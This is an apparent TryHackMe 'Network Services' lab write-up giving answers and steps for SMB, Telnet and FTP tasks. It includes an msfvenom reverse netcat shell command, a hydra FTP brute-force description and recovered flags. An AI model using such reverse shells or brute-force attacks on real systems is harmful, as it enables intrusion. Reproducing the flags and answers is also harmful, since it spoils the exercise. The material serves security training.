TryHackMe: Network Services 1 writeup

·

3 min read

I only started documenting from task 6, so the first 5 tasks are just solutions

Task 1: Get Connected

  • No answers needed

Task 2: Understanding SMB

Question 1 image.png

  • Server message block

Question 2

image.png

  • response-request

Question 3

image.png

  • TCP/IP

Question 4

image.png

  • Unix

Task 3: Enumerating SMB

Question 1* image.png

  • 3

Question 2 image.png -139/445

Question 3 image.png

  • Workgroup

Question 4 image.png

  • POLOSMB

Question 5 image.png

  • 6.1

Question 6 image.png

  • profiles

Task 4: Exploiting SMB

Question 1 image.png

  • smbclient //10.10.10.2/secret -U suit -p 445

Question 2

  • No answer needed

Question 3 image.png

  • Y

Question 4

image.png

  • John Cactus

Question 5

image.png

  • ssh

Question 6

image.png

  • .ssh

Question 7

image.png

  • id_rsa

Question 8

image.png

  • THM{smb_is_fun_eh?}

Task 5: Understanding Telnet

Question 1

image.png

  • application protocol

Question 2

image.png

  • ssh

Question 3

image.png

  • telnet 10.10.10.3 23

Question 4

image.png

  • encryption

Task 6: Enumerating Telnet

Question 1 image.png

  • Run Nmap on every port with "NMAP {MACHINE_IP} -p-" .
  • Took a long time

image.png

image.png

  • 1 port open

Question 2

image.png

  • port 8012

Question 3*

image.png

  • protocol is {tcp}

Question 4

image.png

  • All ports shown as closed

Question 5

  • No answer needed

Question 6

image.png

  • Run Nmap on that specific port
  • If you read the fingerprint string it shows some text: skid's backdoor
  • Answer is " a backdoor"

image.png

Question 7

image.png

  • Likely belong's to user "Skidy"

Task 7: Exploiting Telnet

I forgot to update the blog before closing so no terminal screenshots available just instructions

Question 1

  • run "telnet {TARGET_MACHINE_IP} {PORT}"
  • No answer needed

Question 2

image.png

Question 3

image.png

Question 4

  • No answer needed

Question 5

  • No answer needed

Question 6

image.png

Question 7

  • No answer needed

Question 8

image.png

  • Run "msfvenom -p cmd/unix/reverse_netcat lhost={local_machine_ip} lport=4444 R" in a new terminal

Question 9

image.png

  • Run the command in the question in a new terminal and create a new listener

Question 10

  • No answer needed

Question 11

image.png

Task 8: Understanding FTP

Question 1

image.png

Question 2

image.png

  • Research the question
  • 21

Question 3

image.png

  • 2:
    • Active conn: Client opens port and listens, server has to actively make connection to it
    • Passive conn: Server opens a port and listens passively, client connects to this port

Task 9: Enumerating FTP

Question 1

image.png

  • Run nmap on all ports on target machine

image.png

  • Output:

image.png

  • Answer: 2 ports open
    • 21 FTP, 80 http

Question 2

image.png

  • Read nmap report: 21

Question 3

image.png

  • Read nmap report: vsftpd

Question 4

image.png

  • Connect to FTP server of target machine
  • log in as name: "anonymous", password: ""
  • list files with ls command

image.png

  • Answer is "PUBLIC_NOTICE.txt"

Question 5

image.png

  • Download the file to local machine using get {file_name} command

image.png

  • Open new terminal and read the public_notice.txt file

  • Letter written by potential user "Mike"

image.png

Question 6

  • No answer needed

Task 10: Exploiting FTP

Question 1

image.png

  • Run hydra brute force password cracker on user "mike" with 4 threads on FTP protocol
  • Use the verbose flag to show login/pass combination for attempts
  • Password is "password"

image.png

Question 2

  • No answer needed

Question 3

  • Connect to FTP server of target machine again
    • Login with credentials:
    • username: "mike"
    • password: "password"
    • download file "ftp.txt" to local machine

image.png

  • Open the file in new terminal
  • Flag: "THM{y0u_g0t_th3_ftp_fl4g}"

image.png